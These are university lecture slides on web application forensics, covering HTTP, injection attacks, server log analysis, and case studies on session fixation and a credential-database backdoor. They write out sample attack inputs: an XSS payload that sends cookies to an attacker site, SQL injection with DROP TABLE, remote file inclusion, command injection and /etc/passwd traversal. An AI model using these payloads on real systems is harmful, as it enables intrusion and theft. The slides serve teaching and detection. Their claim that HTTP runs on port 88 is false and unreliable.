Web Application Forensics

Part II.B. Techniques and Tools: Network Forensics

CSF: Forensics Cyber-Security
Fall 2015
Nuno Santos
Summary

- Overview of the Web
- Web attacks
- Investigation of Web attacks
- Case studies
Our journey in this course:

- Part I: Foundations of digital forensics
- Part II: Techniques and tools
  - A. Computer forensics
  - B. Network forensics **Current focus**
  - C. Forensic data analysis

Remember where we are
Started by looking at application layer

- We’ve looked at email forgery and tracking
- **Today:** Web applications
Web applications have changed the world
But the Web is vulnerable to security threats.

Facebook admits year-long data breach exposed 6 million users

SAN FRANCISCO | BY GERRY SHIH

eBay asks 145 million users to change passwords after data breach

The Switch

WEB.COM LOSES 93,000 CREDIT CARD NUMBERS

by Michael Mimoso  

Update Florida-based web hosting company Web.com on Tuesday announced that it had suffered a data breach and payment card and personal information belonging to 93,000 customers was accessed.
How to investigate attacks to Web applications?
Overview of the Web
Typical architecture of a Web application

Client Web Browser  Internet / Intranet  Web Server  Database Server

HTTP Request  HTTP Response

SQL Query  Result Set

Client Web Browser  Internet / Intranet  Web Server  Database Server
Internals of a Web application

- A Web normally follows as a three-layered architecture comprised of:
  - Presentation
  - Business
  - Data layers
Together with HTML, HTTP forms the base of WWW

- It is standardized by IETF (rfc 2616)
- Most clients/servers today speak version 1.1
- Runs on top of TCP on the standardized port 88

- It is a request-response protocol
- It is stateless (does not maintain a state of a session)
### HTTP Request

| Request-Line | Headers | Content...
|--------------|---------|-----------|

#### Request line:
- `Method URI HTTP-Version\r\n`

#### Commonly supported methods:
- **GET**: retrieve information identified by URL
  - Typically used to retrieve an HTML document
- **HEAD**: retrieve meta-info about the URL
  - Used to find out if a document has changed
- **POST**: send information to URL and obtain result
  - Used to submit a form
Example HTTP request

HTTP request sent by the browser

GET /tutorials/other/top-20-mysql-best-practices/ HTTP/1.1
Host: net.tutsplus.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120
Pragma: no-cache
Cache-Control: no-cache
Example HTTP response

- **HTTP response sent by the server**

```
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Date: Sat, 28 Nov 2009 04:36:25 GMT
Server: LiteSpeed
Connection: close
X-Powered-By: PHP/5.4.0
Expires: Sat, 28 Nov 2009 05:36:25 GMT
Etag: "pub1259380237;gz"
Cache-Control: max-age=3600, public
Content-Type: text/html; charset=UTF-8
Last-Modified: Sat, 28 Nov 2009 03:50:37 GMT
Content-Encoding: gzip
```
The web is “stateless” – the browser does not necessarily maintain a connection to the server while you are looking at a page.

- You may never come back to the same server - or it may be a long time - or it may be one second later.

So we need a way for servers to know “which session is this?”

- Session IDs stored in “Cookies”
HTTP message exchange involving cookies

1. browser requests a Web page

2. server sends page+cookie

3. browser requests another page
Display cookies for current document

```
javascript: alert(document.cookie)
```

![JavaScript URL](image-url)
Web attacks
An attack scenario describes the ways an attacker might exploit the vulnerabilities of a Web app

- The possible attacks to a web application
- A possible attacker
- The web resources that are attacked
Carried out via entering malicious code into the input control of web form or address bar of web browser

Exploit may occur due to improper handling of the user’s input by the Web application

Common type of code injection attack:
- SQL injection
- Cross Site Scripting
- PHP code injection
SQL injection

- Attacker injects malicious text string, most often a database query, into an available web form that is eventually executed by the database

```
100

SELECT * from my_employee where scode=100
```

- Vulnerable input

```
17 or a=a

SELECT * from my_employee where scode=17 or a=a
```
Example of an SQL injection attack

- Product search: `blah OR x=x`

- What if the attacker had instead entered:
  
  `blah; DROP TABLE prodinfo;`

- Results in the following SQL:

  ```sql
  SELECT prodinfo FROM prodtable WHERE prodname = 'blah'
  DROP TABLE prodinfo;
  ```

- Causes the entire database to be deleted

  - Depends on knowledge of table name
  - This is sometimes exposed to the user in debug code called during a database error
XSS attacks allows an attacker to run arbitrary JavaScript in the context of a vulnerable website.

**Goal:** To steal the client cookies or other sensitive info which can identify the client with the web site.

With the token of the legitimate user, the attacker can impersonate the user’s interaction with the site.
Typical approach by XSS

- Malicious scripts are injected into otherwise trusted web sites

Diagram:

- Site with flaws
  - WWW server
  - Poisoned HTTP
  - Attacked HTTP
  - Attacked Client
  - Attacking site
  - WWW server
  - HTTP
  - Browser
Example XSS attack to eBanking website

1. An attacker finds an XSS hole in a web application.
2. The attacker creates an attack URL for stealing sensitive information and disguises it so that it appears legitimate.
3. The attacker distributes the malicious XSS link via social engineering to unsuspecting users.
4. When the victim logs in, JavaScript embedded with the malicious XSS link executes and transmits the victim’s login information to the attacker.

Vulnerable Web Site
Attacker
Victim
(Phishing)
This script is named `welcome.cgi`, and its parameter is “name”. It can be operated this way:

```
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
...
```

And the response would be:

```
<HTML>
  <Title>Welcome!</Title>
  Hi Joe Hacker
  Welcome to our system
  ...
</HTML>
```

**Root of the problem:**
Script reads part of the HTTP request (usually the parameters) and echoes it back to the response page, in full or in part, without first sanitizing it.
Through phishing, send to the victim a poisoned link that looks like this:

http://www.vulnerable.site/welcome.cgi?
name=<script>alert(document.cookie)</script>

The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:

GET/welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site

And the vulnerable site response would be:

<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<br>
Welcome to our system
</HTML>
The malicious link would be:


And the response page would look like:

<HTML>
  <Title>Welcome!</Title>
  Hi
  <script>window.open("http://www.attacker.site/collect.cgi?cookie=\"+document.cookie\")</script>
  <BR>
  Welcome to our system
  ...
</HTML>
Note that the web site is not directly affected by this attack.

- It continues to function normally, malicious code is not executed on the site, no DoS occurs, data is not directly manipulated/read from the site.

However, it is still a flaw in the privacy the site offers its clients.

Weak spot in the application: the script that echoes back its parameter, regardless of its value.

- A good script makes sure that the parameter is of a proper format, and contains reasonable characters, etc.
PHP injection attacks

- PHP injection allow an attacker to supply code to the server side scripting engine
  ```php
  <? show_source("server_socket.php");?>
  ```

- This vulnerability allows an attacker to run arbitrary, system level code on the vulnerable server and retrieve any desired information contained therein
Code Injection Attack

Enter data `show_source("passprotect.php")` | submit

```php
<?php
<script type = "text/javascript">

// Note: Like all Javascript password scripts, this is hopelessly insecure as the user can see
// the valid usernames/passwords and the redirect url simply with View Source.
// And the user can obtain another three tries simply by refreshing the page.
// So do not use for anything serious!

var count = 2;
function validate() {
    var un = document.myform.username.value;
    var pw = document.myform.pword.value;
    var valid = false;

    var unArray = ["Philip", "George", "Sarah", "Michael"]; // as many as you like - no comma after final entry
    var pwArray = ["Password1", "Password2", "Password3", "Password4"]; // the corresponding passwords;

    for (var i=0; i < unArray.length; i++) {
        if ((un == unArray[i]) && (pw == pwArray[i])) {
            valid = true;
            break;
        }
    }
```

Firefox ▶
http://localhost/...%22%29%3B&submit=

localhost/php_f.php?sitemap=show_source("passprotect.php")%3B&submit=

MyStart Search ▶
There are many other Web attacks

- **Another example:** Session fixation attacks
  - Permits an attacker to hijack a valid user session
  - Problem: The vulnerable web app doesn’t assign a new session ID when authenticating a user
  - Attack: To induce the user to authenticate itself with a session ID fabricated by the attacker

- **Take a look at:**
  - [https://www.owasp.org](https://www.owasp.org)
Investigation of Web attacks
Investigation of Web attacks is challenging

- Web applications are often distributed across servers
- Web applications are often business critical and downtime for imaging may not be allowed
- Database servers usually have large disk arrays
- Web application attacks usually do not leave evidence in the same places as other attacks
Web application forensics overview

1. Understand the “normal” flow of the application

2. Review log files

3. Capture application and server configuration files

4. Identify potential anomalies:
   - Malicious input from client
   - Breaks in normal web access trends
   - Unusual referrers
   - Mid-session changes to cookie values

5. Determine a remediation plan
Log files in Web applications

HTTP Request - Internet / Intranet
HTTP Response

Web Server
Web server logs

Database Server
Database logs

Application logs

Client Web Browser

SQL Query
Result Set

Web server

Database

Internet / Intranet
Web server logs provide extremely useful information for forensic investigators

134.147.61.15 - - [13/Mar/2012:21:02:13 +0100] "GET /webapp.php?page=blog HTTP/1.1" 200 27140
212.32.45.167 - - [13/Mar/2012:21:05:42 +0100] "GET /webapp.php?page=../../etc/passwd HTTP/1.1" 200 2219
Can help detect various kinds of attacks

- Remote File Inclusion:
  - `/include/?file=http://evil.fr/sh`

- Command Execution:
  - `/lookup.jsp?ip=|+ls+-l`

- SQL Injection:
  - `/product.asp?id=0%20or%201=1`

- XSS (persistent):
  - `/forum.php?post=<script>alert(1);`

- Buffer Overflow:
  - `/cgi-bin/Count.cgi?user=a\x90\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xff [...]

- …and many more
Logging features are specific to the web server

- Example: Microsoft IIS 6.0 (Internet Information Server)
  - Default logs are plain text in W3C Extended log file format
  - Logs stored in LogFiles\W3SVCx
  - Easily parsed with text parsing tools or with LogParser
  - Log files can capture cookies and referrer headers
  - Still missing key HTTP POST data
Information logged by IIS 6.0

- Logged by default
  - Date / Time
  - Client IP
  - Server Info
  - HTTP Method
  - URL and Parameters
  - HTTP Status Code
  - User Agent

- Not logged by default

- Can be enabled:
  - Transfer Sizes
  - Host Header
  - Cookies
  - Referrer

- Not even an option...
  - POST Data
Why do we care about POST data?

- Much of the user input to a web application is passed to the server as POST parameters.
- Manipulating these parameters is the prime mechanism for attacking an application.
- POST data logging provides insight into such attacks.
- POST data is necessary to perform an accurate damage assessment.
Web servers also log application-related events

- **Logged events will include:**
  - Unhandled application exceptions
  - Application errors
  - Loader problems (references to classes that are not available)
  - Other implementation dependent items
  - Some messages from applications
Database server logging

- Common databases have little or no logging enabled by default
- Logging of additional database events can be enabled
- Table or data specific logging can be accomplished with database triggers

Example: MS SQL Server database logging
- Captures login/logout and other activity in the Windows Application Log
- ErrorLog file – server errors and other messages
Application level logging

- Application logs can provide key information
  - Detailed knowledge of business logic
  - Good signal to noise ratio

- Ask developers or administrators:
  - Where are application logs?
  - What is format?
  - What messages would result from likely malicious activity?
  - How long are logs stored?
Application level logging

- Application should log these events:
  - Invalid Input
    - SQL Injection Attempts
    - Cross Site Scripting Attempts
  - Failed Authentication
  - Authorization Failures
  - Session Tracking Problems
  - Critical portions of business logic

- Application should log this information:
  - Server Identity
  - Client IP Address
  - Username
  - Date/Time
  - URL
  - POST data
  - Cookies
Case studies
A forensics investigation team was hired to solve a case. Here’s what’s happened:
A client of a well-established brokerage firm in NYC:

“I see a trade executed from my account … 10000 shares of a company I haven’t even heard about, were purchased on January 17 (2006) @ 2 pm from my account!”

7 other clients of the same brokerage firm report the same issue – in January 2006
Computer security breaches were the prime suspect

Was the brokerage firm hacked? Was it the end user who was hacked?

We had dates and times of the trade executions as a clue
Our team began reviewing the brokerage firm’s online trading application for clues

- Network logs
- Web server logs
- Security mechanisms of the application

We asked to duplicate the victim’s hard drive and review it for indicators of compromise
Requested IIS logs for January 17, 2006 from all the (load balanced) servers.

Combined the log files into one common repository = 1 GB

Microsoft’s Log Parser to the rescue
LogParser is an excellent and free tool for analyzing log files
- Available from www.microsoft.com

More information on unofficial LogParser support site:
http://www.logparser.com/

- Supports a variety of log formats
- Uses SQL syntax to process log files
Parsed out all requests to execute.asp using Microsoft Log Parser:

```
LogParser -o:csv "select * INTO execute.csv from *.log where cs-uri-stem like '/execute.asp%'"
```
Can you find the smoking gun?

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2006-01-01 01:03:15

<table>
<thead>
<tr>
<th>Fields</th>
<th>c-ip</th>
<th>cs-method</th>
<th>cs-uri-stem</th>
<th>cs-uri-query</th>
<th>Status</th>
<th>version</th>
</tr>
</thead>
<tbody>
<tr>
<td>time</td>
<td>c-ip</td>
<td>cs-method</td>
<td>cs-uri-stem</td>
<td>cs-uri-query</td>
<td>Status</td>
<td>version</td>
</tr>
<tr>
<td>1:03:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:04:35</td>
<td>172.16.54.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=3840943093874b3484c3839de9340494</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:08:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:10:19</td>
<td>172.16.87.231</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=298230e0393bc09849d83983983993</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:13:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:18:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:19:20</td>
<td>172.16.121.3</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=676db87873ab0393898de0398348c89</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:21:43</td>
<td>172.16.41.53</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=3840943093874b3484c3839de9340494</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:23:16</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:28:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
</tbody>
</table>
Can you find the smoking gun?

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2006-01-017 01:03:15

<table>
<thead>
<tr>
<th>Fields: time</th>
<th>c-ip</th>
<th>cs-method</th>
<th>cs-uri-stem</th>
<th>cs-uri-query</th>
<th>Status</th>
<th>version</th>
</tr>
</thead>
<tbody>
<tr>
<td>1:03:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:04:35</td>
<td>172.16.54.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=3840943093874b3484c3839de9340494</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:08:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:10:19</td>
<td>172.16.87.231</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=298230e0393bc09849d839209883993</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:13:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:18:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:19:20</td>
<td>172.16.121.3</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=676db87873ab0393898de0398348c89</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:21:43</td>
<td>172.16.41.53</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=3840943093874b3484c3839de9340494</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:23:16</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:28:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
</tbody>
</table>

Noticed repeated use of same sessionid at regular intervals from the same IP
Parsed out all requests with the suspicious sessionid

LogParser -o:csv "select * INTO sessionid.csv from *.log where cs-uri-query like '%90198e1525e4b03797f833ff4320af39'"
## Can you find the smoking gun?

**Software:** Microsoft Internet Information Services 5.0  
**Version:** 1.0  
**Date:** 2006-01-017 01:03:15

<table>
<thead>
<tr>
<th>Fields:</th>
<th>c-ip</th>
<th>cs-method</th>
<th>cs-uri-stem</th>
<th>cs-uri-query</th>
<th>Status</th>
<th>version</th>
</tr>
</thead>
<tbody>
<tr>
<td>time</td>
<td>c-ip</td>
<td>cs-method</td>
<td>cs-uri-stem</td>
<td>cs-uri-query</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1:03:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:08:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:13:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:18:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:23:16</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>1:28:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>13:53:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>13:58:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>14:03:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>14:07:23</td>
<td>172.16.14.166</td>
<td>POST</td>
<td>/login.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>14:07:54</td>
<td>172.16.14.166</td>
<td>POST</td>
<td>/account.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>14:08:15</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/execute.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
<tr>
<td>14:10:09</td>
<td>172.16.22.33</td>
<td>POST</td>
<td>/confirm.asp</td>
<td>sessionid=90198e1525e4b03797f833ff4320af39</td>
<td>200</td>
<td>HTTP/1.0</td>
</tr>
</tbody>
</table>
Phishing?

- No indications of key logging trojans, malware, viruses, etc. were found on the victim’s computer
- Look what we found in the archived .pst file:

```
From: A customer-service@xyzbrokerage.com
To: [Redacted]
Cc: [Redacted]
Subject: Valued Customer Feedback

At XYZ Brokerage, we are always striving to improve the customer’s online experience. We are currently experimenting with a new user interface and have selected a few of our valued customers to provide feedback on it.

We would appreciate it if you, Mr. [Redacted], would review the changes by logging into your account by clicking here and sending us e-mail telling us what you like and what you don't about what you see.

We appreciate your participation in this process.
Thank You once again,

Customer Service
```

**URL:** https://www.xyzbrokerage.com/login.asp?sessionid=90198e1525e4b03797f833ff4320af39
The application was confirmed to be vulnerable to session fixation:

- A session id was issued before login
- The same session id was used by the application after login for the purposes of user authorization
- This allowed an attacker to hijack legitimate user sessions using a bit of social engineering
In this case, the victim was a retail organization.
The CEO of a retail organization received an extortion threat of $250,000 via snail mail.

The threat – 125,000 customer credit card numbers would be sold to the mafia.

The response was demanded in the form of a footer on the main page of the retailer’s website.
In-house counsel used several ploys to buy time – a mere 72 hours were granted by the extorter.

3 members of our team were brought in to investigate round the clock for the next 3 days.

Our job was to determine how the credit card database may have been compromised and more importantly who was the culprit.
What followed?

- Frenzied web server log analysis to detect anomalous activity – Nothing!

- Reviewed all employee email inboxes to detect internal fraud – Nothing!

- Database login/logout activity reviewed – nothing suspicious

- Web application scanned for SQL injection flaws – No luck!

- Last resort – application code review
Racing against time

- Over 100,000 lines of code
- A comprehensive code review was ruled out
- Resorted to scripted searches through code
Scripted searches

- Did the code contain raw SQL statements?

- Searched for occurrences of the “SELECT” in the code

  \[\text{Regex} = \text{.*SELECT.*}\]

- The search resulted in an overwhelming number of hits
The results from the previous search were searched for occurrences of the “SELECT *” string to identify SQL statements where the scope was not properly limited.

Regex = SELECT \*.\*FROM.\*  

The search resulted in 5 hits.

One of the hits was:

SELECT * FROM CardTable
NameValueCollection coll = Request.QueryString;
String[] arr1 = coll.AllKeys;
...
String[] arr5 = coll.getValues(arr1[4]);
string extra = Server.HtmlEncode(arr5[0]).ToString();

if (extra.Equals("letmein"))
{
    Cmd = "SELECT * FROM CardTable";
}

...
This was a backdoor — an insider job?

Reviewed code archives to detect addition of code

The first check-in with this code was made by a developer contracted from a third-party in Asia

Found the URL with the additional parameter in the web server logs

The client IP traced back to Asia!
Another one bites the dust...

- The development company was notified of this rogue activity
- Local law enforcement was cooperative
Web applications play a critical role in people’s lives, but are hard to secure.

In the event of Web attacks, forensic investigators are called in to find out how the attack was carried out.

To investigate Web attacks, investigators must be familiar with how Web attacks are engineered and be prepared to find the needle in a haystack of log files.
Primary bibliography

[Casey05], Chapter 21, 23.2.1
Online anonymity